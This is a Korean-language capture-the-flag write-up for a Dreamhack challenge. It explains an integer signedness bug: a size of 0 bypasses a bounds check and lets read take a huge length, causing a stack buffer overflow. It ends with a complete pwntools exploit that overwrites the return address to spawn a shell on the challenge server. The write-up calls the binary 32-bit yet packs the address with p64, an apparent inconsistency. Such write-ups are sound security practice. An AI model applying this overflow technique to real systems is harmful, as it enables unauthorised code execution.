
카나리는 없지만 NX가 적용되어 있다.
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
잘 보면 read가 size-1만큼 입력을 받는다. 이 인자는 값을 unsigned int로 받는다. 하지만 size는 int 형이며, 자료크기의 검사는 0이상 256이하인지만 검사한다.
따라서 size를 0으로 설정하여 검사를 우회하고, 부호 왜곡을 통해 매우 큰 길이를 read로 전달, 스택 버퍼 오버플로우를 일으킬 것이다.
실제로 실행해보면 0 입력을 통해 긴 길이를 입력할 수 있다.

NX만 적용되어 있으므로 get_shell로 main함수의 리턴 어드레스를 덮어쓸 것이다.
카나리는 신경쓰지 않아도 된다. 32비트 환경에서 실행되는 것을 신경써주면 된다.
여태까지 풀어본 문제중에 처음으로 원큐에 익스플로잇이 성공했다.
from pwn import *
# p = process('./sint')
p = remote('host3.dreamhack.games', 17122)
e = ELF('./sint')
get_shell = e.symbols['get_shell']
payload = b'A'*256 + b'B'*4 + p64(get_shell)
p.sendlineafter(b'Size: ', b'0')
p.sendafter(b'Data: ', payload)
p.interactive()